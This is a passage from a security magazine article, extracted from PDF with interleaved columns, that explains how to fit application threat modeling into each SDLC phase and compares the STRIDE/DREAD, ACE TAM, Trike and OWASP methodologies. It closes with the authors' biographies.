two key dependencies that are needed in or- vulnerabilities discovered (developers), and
der to achieve the greatest benefit from the testing criteria to be executed post remedia-
process. For this reason, a governance team tion efforts in order to ensure that discovered
within the security or technology organization vulnerabilities through misuse cases can no
must define the criterion for applying such a longer be exploitable.
security analysis versus other, less intensive
application security evaluations. They must Aspects of application threat modeling trav-
also be able to reveal expectations relative to erse all areas of the software development life
turnaround times for each threat assessment cycle process. Each aspect of the define, de-
effort. This will dictate the amount of resources sign, develop, debug, and deploy phases
and degree of detail expected from the overall touch upon variables that will be utilized by
process. While defining time boundaries, gov- threat modeling techniques. These are re-
ernance leaders must be certain to not se- vealed in greater detail below as well as being
verely impose time constraints that will dilute illustrated in the figure on the following page.

www.insecuremag.com 88
Below is a phase-by-phase summary as to signs that foster improved and secure data
how the application threat modeling process is flow. Architects must remain vigilant of security
affected by the various stages within the Soft- requirements that were defined as part of the
ware Development Life Cycle. definition phase in order to ensure that the
proposed application architecture conforms to
1. Definition: Defining use and abuse cases defined security and functional requirements.
is the foundation of the security requirement
phase in which security requirements are de- A conceptual walk through during design time
veloped. Abuse cases are instrumental to elicit allows security architects to explore whether
requirements for security controls to mitigate the application design promotes the use of se-
potential risks. The scope of such activity is to curity controls to be developed during the de-
gather functional requirements from business velopment. The main objective here is to iden-
analysts, security governance team members, tify security flaws in the design phase before
project managers and risk analysts to docu- the application is ever implemented through a
ment the expected functionality for the appli- secure modeling activity. The main focus of
cation and the security controls based upon this activity is the understanding of the appli-
the defined use cases (positive requirements) cation logical and physical architecture in the
as well as the abuse cases (negative require- details, the functions of the application and the
ments). use cases, the assets, the identification of
trust boundaries, entry points, and data flow
2. Design: Architects primarily focus on de- diagrams. Data flow diagrams can be utilized
veloping this stage of the application threat to understand how the data flows through the
modeling process by drafting architectural de- system, the major processes involved,

www.insecuremag.com 89
the trust boundaries and the external interac- database server) the security controls (encryp-
tions. An example of data flow diagraming in tion, authentication, authorization, input valida-
support of threat modeling activity is shown in tion, session management and exception
the following figure, documenting the architec- handling and logging) and the trust boundaries
ture tiers (web server, application server and (when control changes).

Architecture and data flow diagram

Similarly, whiteboard exercises may be fre- an application. Although no code exists at this
quently conducted to visualize end to end de- point, the conceptualization of attack surfaces
ployment scenarios. The overall purpose to are discussed.
these exercises is to create a complete analy-
sis on application function and entry points re- In the figure below, we see a whiteboard
lated to legitimate and illegitimate use cases. sketch that shows the various components of
White-boarding and data flow analysis can re- a proposed web application. The overview
veal weaknesses across authorization, highlights some of the key components or
authentication, secure communication meth- data sources to be used as part of this appli-
ods channels, and many other functions within cation.

Whiteboard end to end graphical sketch

www.insecuremag.com 90
The main objective of threat modeling during browsing? A threat categorization such as
this design is to conduct an analysis of the STRIDE is useful in the identification of threats
threats to the application to identify and clas- by classifying attacker goals. A threat three (as
sify potential security flaws that could lead to shown in the figure below) is useful to explore
an exploit. The first step is to think about attack paths, the conditions (e.g. vulnerabili-
threat scenarios and ask questions with re- ties, depicted as orange blocks) for the threat
gards to the attacker goals. For example, if the to be exploited and the necessary mitigating
threat scenario is attacking the login of on-line controls (e.g. countermeasures, depicted as
banking application, would the attacker brute green blocks). Once all the possible attack
force the password to break the authentica- vectors are identified, the focus should pro-
tion? If the threat scenario is to try to elevate ceed to mitigating the vulnerabilities that form
privileges to gain another user privileges, the “path of least resistance” and select the
would the attacker try to perform forceful appropriate countermeasures.

Attack tree

3. Development: At this stage of the applica- map threats to countermeasures and docu-
tion build process, developers are ideally ref- ment them in secure coding standards that
erencing requirement documents (i.e. - secure can be validated via secure code reviews.
coding standards) which they can adhere to
when developing an application. This ex- Threats and misuse cases can also drive the
change of requirements to the development implementation of unit test cases during
team should obviously include the security re- source code development. If threat modeling
quirements to be used as part of each func- is performed outside the SDLC on existing
tional component of the application. In es- applications, the results of the threat modeling
sence the development stage is where theo- exercise helps in reducing the complexity of
retical security concepts for application con- the source code analysis by promoting an in-
trols are actually put to the test. The controls depth first approach vs. breadth first ap-
developed should encompass any use case proach: based on the results of the threat
scenario for the application, regardless of how modeling that is the identification of the threats
trivial the specific function may be. For each and the affected application components of
security control that is put into place based these threats, these are the components that
upon the defined requirements, the window of you want to code review first. Ultimately, at the
risk for the application reduces. The identifica- conclusion of this phase, the application team
tion of threats to the application during design should be able to visualize a smaller window
also helps to drive a secure implementation by of risk that relates to the residual that remains
mapping threats to security controls that be- after security controls are successfully
long to coding artifacts. The best practice is to developed.

www.insecuremag.com 91
4. Testing: This stage encompasses the ma- procedures to be used by testers to validate
jority of risk driven tests such as identifying the the countermeasures that would negate or
application attack libraries to be executed mitigate risks associated with various attack
against use cases or in conjunction with con- scenarios.
ceptualized misuse cases. Threats identified
during threat modeling allow the plan for of The identification of threats relative to the ap-
security test cases to verify that countermea- plication environment will benefit most from an
sures are mitigating such threats appropriately extensive attack library that can be validated
and well as for testing the exposure of the ap- by both manual and automated tools. Sub-
plication to potential security flaws. In case of stantiating threats through attacks will help to
penetration tests, besides the validation of provide probability values that are not specu-
common vulnerabilities via vulnerability as- lative but based upon testing efforts by the se-
sessments, application specific security tests curity tester or testing group. Once attacks
can validate the implementation of counter- have been substantiated and probability levels
measures for the attack paths and the poten- defined, issues related to business impact are
tial vulnerabilities identified using threat trees. much more concrete and the risk analysis ob-
This stage requires an experienced QA or se- tains a greater level of respect by the business
curity tester that is highly versed in the various audience members who are interested in the
tool sets and methodologies associated with threat forecasting efforts that have taken place
threat modeling-driven tests. The preparation as part of this stage.
of the tester relative to execute a battery of
tests to aligning attack libraries to various An abbreviated view (along with time esti-
threats being identified to be relevant for the mates) for each step within the threat model-
application is the key of factor in the effective- ing process (as part of the debugging stage
ness of such tests. Ideally the testers should are revealed in the table below). This table
be given a security testing guide that docu- does not reflect preparatory steps that would
ment how and where to conduct the security have taken place in other phases of the SDLC
tests. The testing guide should also link to test process.

Step Time estimate

Use Case Walk Through 2 hours

Define MisUses/Threats 3 hours

ID Attack Vector/Surface 1 hour

Threat to Attack Mapping 0.5 hour

Test/Apply Attack Scenarios 3 hours

Identify appropriate countermeasures 3 hours


Application Threat Modeling w/in the SDLC Testing Efforts

As you can see in the table above, business agement efforts related to Business Impact
related risk analysis has been left out in order Analysis efforts. This information can thereaf-
to focus on the technical aspects as to what ter be leveraged in order to proceed with the
should take place within this stage of the business risk analysis that should undoubtedly
SDLC lifecycle. Security testers should work take place. Many of the tools referred to later
alongside of Business Analysts and Informa- on in this article rely on such impact analysis
tion Security Officers in order to see if impact in order to derive a more accurate diagnosis
levels can be aligned to the application and on risk for the application.
the information managed by the application.
This is typically well documented within other 5. Deployment: The deployment stage is the
Information Security or Enterprise Risk Man- culmination of multiple exchanges between

www.insecuremag.com 92
vulnerability assessment and configuration Misconfigurations account for a significant
management efforts. The main objective is a percentage of vulnerabilities for application
secure configuration and installation and op- environments. As a result, threat modeling
eration of the application. The back and forth techniques are very applicable in detailing at-
of this exchange, as part of any security risk tack vectors for the misconfiguration of these
management effort aims to achieve an ac- distributed assets.
ceptable level of risk for the application and
the information sources that it seeks to pro- Your TM is only as good as its attack
tect. Although the coding efforts may have ac- library
celerated to the deployment stage, threat
modeling techniques are still applicable during Threat modeling begins to lose its intrinsic
the deployment/ implementation stage. value through the use of a limited attack li-
brary. The limited scope of an attack library
Security architects and build masters can ap- will fail to adequately prepare an application
ply threat modeling techniques in order to en- security tester with the necessary extent of
sure the integrity of the deployment environ- attack patterns that would need to be known in
ment to the defined security specifications that order for appropriate counter measures to be
relate to the configuration of hosts platforms, formed. An attack library spells out the likely
supportive services, and other environmental attack pattern that would be launched against
factors that may introduce vulnerabilities to the a particular vulnerability within the application.
application environment. For this reason, se- Below represents a concise version of attack
curity testers and build masters can apply at- patterns that would be included as part of
tack simulations in the production environment most threat modeling efforts:
to identified vulnerabilities at the platform and
service levels.

Threat modeling and risk analysis risk based upon the perceived impact that
technical exploits would have against busi-
Although the risks identified by application ness operations, either in the short term or
threat modeling are technical in nature the long term.
overall objective is to translate any of the iden-
tified technical risk issues into business risk It!s important to remember that a clear hierar-
issues that would be material to the organiza- chy exists within the efforts of risk analysis via
tion. This is achieved by clearly itemizing the application threat modeling. A threat encom-
associated vulnerabilities and threats affecting passes either a single attack or a series of at-
the evaluated application. Also needed is the tacks. The various attacks each correlate to an
probability in which any designated threats will identified application vulnerability that can be
take place against the application environ- exploited. Probability levels are also assigned
ment. These factors will help determine the to attacks in order to denote the likelihood in
likelihood of an attack. Subsequently, the se- which they can successfully exploit targeted
curity officer will be able to calculate business vulnerabilities within the application.

www.insecuremag.com 93
Again, security officers and business audience Threat modeling methodologies
members to application threat modeling must
remain cognizant that application threat mod- Today, there are three key threat modeling
eling is a technical risk analysis effort. The methodologies that have slightly different ap-
business risk analysis effort would incorporate proaches to identifying threats and qualifying
these technical risk findings in order to calcu- risk as shown in the following figure:
late business risk ratings that would be appli-
cable given previously conducted business
impact assessments.

TM methodologies summarized

The STRIDE/DREAD methodologies are methodology still uses DREAD for ranking
widely supported by Microsoft and address threats but assigns qualitative values (high,
threats over 6 or 5 threat categories, respect- medium, low) instead of quantitative ones.
fully. STRIDE provides categorization of
threats by considering attacker goals such as The third, less renown methodology is the
Spoofing, Tampering, Repudiation, Information Trike Methodology. For those favoring a more
Disclosure, Denial of Service, Elevation of open source community forum related to ap-
Privilege. DREAD provides for threat-risk plication threat modeling, this may be the
ranking according to the technical risk factors route to take. Unlike its Microsoft associated
for impact (e.g. Damage, Affected Users) and methodologies, Trike is not an acronym re-
ease of exploitation (Reproducibility, Exploita- lated to any number of application threats. It's
bility, Discoverability). This risk factorization a framework for auditing applications over a
allows the assignment of values to the differ- series of threat modeling techniques gener-
ent influencing factors of a threat. A slightly ated by its accompanying tool – Trike. Both
different methodology that focuses on web the methodology and the tool attempt to exe-
applications has also been developed at Mi- cute application auditing from a risk manage-
crosoft!s Pattern & Practices Group. This ment perspective.

www.insecuremag.com 94
Expecting a tool and methodology that is more application security is reviewed. Many believe
focused on technology (given it!s MIT roots), that application threat modeling is a substitute
the framework provides one of the most risk for application based risk assessments. This is
focused methodologies that revolve around incorrect and negates the benefit that threat
the impact of IT assets that are targets in the modeling has in substantiating findings within
various threat modeling scenarios conducted a risk assessment as well. The two processes
via the framework. It considers variables such vary in objective, but, when managed in uni-
as asset value, associated roles of target IT son, they offer comprehensive information on
assets, and threat exposures associated with both technical and business risk.
the asset.
By having rationalized the basic concepts of
Unlike Trike, most threat modeling frameworks threat modeling and the best practices that
do not calculate asset values. Secondly, any can be adopted it is up to the security practi-
risk prioritization is primarily based upon tech- tioner that need to perform the threat modeling
nical impacts and not business impacts. This exercise to adopting existing TM methodolo-
effort is generally left to the work of informa- gies and tools such as ACE TAM, TRIKE or a
tion risk analysis efforts within the established more general methodology that is also re-
processes of a Security and Compliance ferred herein (a la OWASP). To help the threat
group. It should be noted that the information modeler in the selection of the TM methodol-
risk analysis efforts managed by information ogy that best fits his security assessment re-
security groups must clearly define risk to be quirements and risk management objectives
comprised of clearly defined vulnerabilities, we have provided herein a brief description of
threats, probability levels. These variables, such methodologies.
coupled with a previously derived impact
analysis related to each asset in scope, ACE threat analysis and modeling
should provide a relatively clear insight into (tinyurl.com/4bxvn7)
understanding risk.
Threat modeling is not a new science since
For most organizations, the evaluation of similar concepts have been used in other dis-
business impact associated with software vul- ciplines such as information risk management.
nerabilities is a critical factor in determining However, using it for assessing technical risks
the strategy for mitigating software risks. One is a rather new approach. Version 1.0 of Mi-
strategy may be to only remediate vulnerabili- crosoft TM combined the TM methodology de-
ties whose remediation cost is less than the veloped by @stake (later acquired by Syman-
potential business impact derived by the ex- tec) and the early methodologies developed at
ploitation of the vulnerability. Another strategy Microsoft. MS TM 1.0 uses STRIDE/DREAD
could be to accept the risk when the loss of methodology. While STRIDE provides catego-
some security controls (e.g. Confidentiality, rization for the threats, DREAD allows the as-
Integrity, and Availability) implies a small deg- signment of values to the different influencing
radation of the service and not a loss of a criti- factors of a threat. This approach has also led
cal business function. In some cases, the to the development of the first threat modeling
transfer of the risk to another service provider tool. In March 2006 MS released the version 2
might also be an option, although other indi- of TM of what is called ACE (Application Con-
rect risks may apply. For example a company sulting and Engineering) Threat Analysis and
might decide that cannot afford the risk man- Modeling.
agement costs and might decide to transfer
the risk to a third party that will manage such A new tool was also released in support of the
risks at a lower cost. methodology originally codenamed Torpedo
now referred as ACE "s TAM (Threat Analysis
For the aforementioned reasons related to and Modeling) tool. The new ACE 2.0 TM
technical risk and business risk analysis, it is methodology introduces the concept of appli-
important to utilize application threat modeling cation security context. Context rules are en-
as an additional security process that accen- tered into the tool by considering the trust lev-
tuates a security governance program and not els (roles), the entry points (components) and
one that replaces an existing process where the assets (data).

www.insecuremag.com 95
In the application security context, roles inter- compassed as part of the framework in order
act with components and components can to denote the various attacks and vulnerabili-
perform actions such as Create, Read, Up- ties that are likely to be successful in exploit-
dated or Delete (CRUD) data. An example of a ing assets that are defined to be in scope for
rule is: a role A (e.g. database, webservice, this simulation. Of all the threat modeling
website) performs action B (e.g. CRUD) on methodologies and frameworks, Trike offers a
component D (e.g. website, database, admin superb tool for unifying all secure application
client). Once the context rules are entered, the development constituents around the objective
TAM tool automatic generates threats by cor- of applying a security framework to any
rupting these context rules. Based on the adopted SDLC program.
generated threats, attack libraries are used to
identify which kind of attacks can be used to The Trike framework begins with what should
realize the threats so that vulnerabilities can be the most intuitive for anyone involved with
be found. The new methodology is also more their respective SDLC process – require-
suitable for technical risk assessments in en- ments. It is with a thorough understanding of
terprise IT (LOB) applications since provides the application or system requirements that
for translation of technical risk to business im- the Trike model is able to align these require-
pact. ments to actors, assets, and intended actions.
This base level of understanding a system or
TRIKE (www.octotrike.org) application!s requirements permits for the
second phase of the framework to be popu-
Briefly stated, Trike is the risk assessor!s lated – implementation. Within the implemen-
threat modeling tool. As previously mentioned, tation phase is an analysis of the actors, as-
the framework and tool operate with the objec- sets, and actions that are associated with the
tive of identify risk at the asset level. As part of various requirements for the system or appli-
this effort, threat modeling exercises are en- cation.

INFORMATION SECURITY OFFICERS BENEFIT FROM THREAT MODELING FROM THE


TECHNICAL RISK ANALYSIS PERSPECTIVE

With the organization of requirements and the ates the importance of defining an extensive
affected "audience! of those requirements attack library that is specific to the target plat-
(namely actors, assets, and actions for the form and underlying program architecture.
application), threat modeling using Trike
moves to the use of the threat modeling tool The Trike framework concludes strongly with a
(by the same name) which assists the security risk modeling phase followed by a phase enti-
professional in performing threat generation tled Work Flow Notes, where deliverables as-
scenarios and visualizing attacks and attack sociated with the tool and methodology!s out-
trees. Attack trees represent a visual hierarchy put are produced as deliverables in support of
of attacks that can be classified per each at- the risk analysis. The risk modeling phase
tack branch of the attack tree. Classification of looks a number of key elements in order to
attacks assist in the assignment of counter- derive business risk. Again, the risk model fo-
measures once risk is assessed later on in the cuses around asset value and impact of the
threat modeling methodology. Also associated asset!s loss or degraded function to the busi-
with the threat modeling phase of the Trike ness. In this sense, Trike does excellent work
framework is the inclusion of vulnerabilities, in culminating the threat modeling exercise by
attack libraries, weaknesses, and mitigations. channeling its work to derive business risk by
The term "weaknesses! primarily refers to mis- analysis of asset value, threats, weaknesses,
configurations or errors in the application cod- vulnerabilities, attacks, attack probabilities,
ing process. Vulnerabilities may actually en- threat exposures, and countermeasures.
compass a weakness or a series of weak-
nesses. Related to attack libraries, as men- As much as Trike does good job of deriving
tioned previously, the Trike model also reiter- business risk as part of a threat modeling

www.insecuremag.com 96
exercise, it!s scalability is limited overall. It!s with a target application. The model attempts
intended use has been to limited to applica- to focus on changes to assets with a high like-
tions whose number of participating actors lihood and impact levels. The basic steps of a
and actions are not extensive. This being said, generic TM methodology are outlined herein:
the Trike framework may not make sense to
apply against a ERP application, but rather a Scope assessment - Before the threat mod-
single module whose risk levels are elevated eling process can begin, the scope of the pro-
compared to its function, data access, etc. ject has to be defined. The definition of the
Another drawback to the tool itself is its ele- scope is critical for threat modeling: what
mentary GUI which makes using the tool far should be considered in scope is driven by
more intimidating to users who have greater basic questions that the security tester should
affinity towards Windows looking applications ask himself. The threat modeler needs to un-
and features. Admittedly the support members derstand the business functions (use cases)
for the tool have recognized this and are seek- for the application and therefore the threats
ing to evolve the UI in the future releases. that the application can be exposed to. Once
you have defined the scope, the focus of
Generic threat modeling methodology threat modeling is limited on threats that are
(tinyurl.com/4lxj7p) supposed to be controlled by application. Let!s
take an online banking stock web service
OWASP promotes a generic methodology for could receive requests for a bank account
threat modeling whose main objective is the based on user credentials. The system might
identification of threats and vulnerabilities in also interface with other applications such as
an effort to evaluate business impact. The a loan application but this application is not
OWASP threat model methodology empha- under the control of the on-line banking appli-
sizes the need to enumerate common threats cation. In general, the system boundaries
and vulnerabilities and apply them to any ex- have to be clearly defined as well as the as-
isting controls or countermeasures associated sets that the application is suppose to protect.

THE INFORMATION GATHERED ACROSS THE DIFFERENT VIEWS WILL BE USED TO DE-
TERMINE THE DATA FLOW, IDENTIFY TRUST BOUNDARIES, AND ENTRY POINTS.

System modeling - A thorough understanding boundaries, and entry and exit points. Data
of the architecture of the system, the interac- flows show how data flows logically through
tions between individual components and the the end to end system architecture diagram.
inner-working details is critical for threat mod- Data flows allow the identification of affected
eling. For this purpose two different views are components through critical points (i.e. data
taken:a logical and physical one. The logical entering or leaving the system, storage of
view is concerned with the architecture of the data) and the flow of control through these
system and the logical components (e.g. components.
classes, web-pages). The physical view is
concerned with system deployment hence it Trust boundaries exist at any location where
focuses on the physical hosts and the services one component exposes a public interface to
that are actively running on the target system. another. A trust boundary is any system
boundary where the level of trust changes.
The information gathered across the different Entry and exit points are the interfaces of the
views will be used to determine the data flow, different systems, subsystems and compo-
identify trust boundaries, and entry points. The nents. Entry points are where data enters the
purpose of system modeling is to analyze the system (i.e. input fields, methods) and exit
architecture of the application from the secu- points are where it leaves the system (i.e. dy-
rity perspective. Critical for the analysis is the namic output, methods), respectively. Entry
graphical description of data flows, trust and exit points help define a trust boundary.

www.insecuremag.com 97
Threat categorization - Critical to the identifi- present a significant problem. The value of
cation of threats is the use of a threat catego- threat identification in support of the threat
rization model, which is highly recommended modeling is to identify gaps in security controls
in order that the threat modeler can approach to mitigate such threats.
the threat identification process in a structured
and repeatable manner. A threat categoriza- Threats, vulnerabilities and attacks - A gen-
tion such as STRIDE can be used or the ap- eral list of common threats, vulnerabilities and
plication security frame that defines threat attacks represent a baseline for identifying
categories such as Auditing & Logging, specific threats driven by the use of the threat
Authentication, Authorization, Configuration categorization . Generic checklists can be
Management, Data Protection in Storage and used for this scope based on common vulner-
Transit, Data Validation, Exception Manage- abilities such as the OWASP Top Ten as well
ment. mapping to such vulnerabilities to attacks such
as phishing, privacy violations, identity theft,
The goal of the threat categorization is to iden- system compromise, data alteration or data
tify root causes for threats and make sure that destruction, financial loss and reputation loss.
countermeasures are in place to mitigate such
threats. Threats could be mitigated by com- Once common threats, vulnerabilities and at-
mon countermeasures since threats can be- tacks are assessed, a more focused threat
long to more than one category. For example analysis should take in consideration use and
a threat to authentication can also be a threat abuse cases. By thoroughly analyzing the use
to data protection in transit if authentication scenarios, weaknesses can be identified that
credentials are passed in clear or just en- could lead to the realization of a threat. Abuse
coded between client and server (for example cases should be identified as part of the secu-
using basic authentication). In this case using rity requirement engineering activity. These
a countermeasure such as SSL mitigates both abuse cases can illustrate how existing pro-
the threat to authentication and data protec- tective measures could be bypassed, or were
tion. As long as appropriate countermeasures a lack of such protection exists.
for such threats are available, this does not

THE INFORMATION GATHERED ACROSS THE DIFFERENT VIEWS WILL BE USED TO DE-
TERMINE THE DATA FLOW, IDENTIFY TRUST BOUNDARIES, AND ENTRY POINTS.

Identification of countermeasures - Coun- factor authentication in application that needs


termeasures are mitigating strategies or com- to handle high risk transactions.
ponents that can help prevent a threat from
being realized. A generic list of countermea- Threat prioritization and risk rating - It is im-
sures for known vulnerabilities can be used. portant that organizations have risk manage-
When applied to the application architecture, ment processes on how to deal with such
countermeasures are in-substance security threats. For example these threats must be
controls. Options of company approved secu- accepted by the business otherwise the de-
rity controls and technologies can be docu- sign of the application must change to remove
mented in secure architecture guidelines. the threat entirely (e.g. don't store credit card
Such guidelines promote the use and applica- numbers to remove the threat of disclosure).
tion of such controls after thorough evaluation
that truly meet company technology standards Through a prioritized list of threats the busi-
and compliance. For example in case of en- ness can make informed decisions on which
cryption controls, the organization encryption threats have to be mitigated first or whether to
standards might drive the choice of compliant mitigate them at all. For each threat, a risk
encryption algorithms and key lengths. The model should provide an assessment of the
same might apply for regulatory compliance likelihood and impact factors to determine the
(e.g. FFIEC) for example as a driver for the criticality of the threat and the overall risk or
choice of strong authentication such as multi- severity level.

www.insecuremag.com 98
Ultimately the overall risk has to take into ac- could be to accept the risk when the loss of
count the business impact since this is a criti- some security controls (e.g. Confidentiality,
cal factor for the business risk management Integrity, and Availability) implies a small deg-
strategy. One strategy could be to fix only the radation of the service and not a loss of a criti-
vulnerabilities which cost to fix is less than the cal business function. In some cases, transfer
potential business impact derived by the ex- of the risk to another service provider might
ploitation of the vulnerability. Another strategy also be an option.

Marco Morana serves as a leader of the Open Web Application Security Project (owasp.org) where he contrib-
uted to write the OWASP Security Testing Guide. Marco also works as Technology Information Security Officer
for a large financial organization with key roles in defining the web application security roadmap and activities,
document security standards and guidelines, perform security assessments for software security as well as
training software developers and project managers on the software security and information security proc-
esses. In the past, Marco served as senior security consultant within a major security consulting company and
also had a career in the software industry in diverse professional roles such as contractor, senior software en-
gineer and project manager with responsibility to design and to develop business critical security software
products for several FORTUNE 500 companies as well for the US Government (i.e. NASA). Marco is active on
his blog at securesoftware.blogspot.com and can be contacted at marco.morana@gmail.com.

Tony UcedaVelez is Managing Director of VerSprite – an Atlanta based risk advisory firm focusing on strategic
security solutions in the areas of application security, vendor risk management, network security, and security
governance. Tony leads a team of application security developers and architects on threat modeling tech-
niques for critical business applications. Tony has been featured as an application security presenter for both
ISACA and private organizations on the subject of both security risk management and application threat mod-
eling techniques. Prior to founding VerSprite, Tony served as Sr. Director of Risk Management to a major For-
tune 50 organization where he led internal and external based application security assessments and their re-
lated methodologies for a multinational information service provider. Tony serves as a frequent security writer
for the ISACA Online Journal as well as ISSA and is author to the Hybrid Risk Assessment Methodology. He
can be reached at tonyuv@versprite.com.

www.insecuremag.com 99

You might also like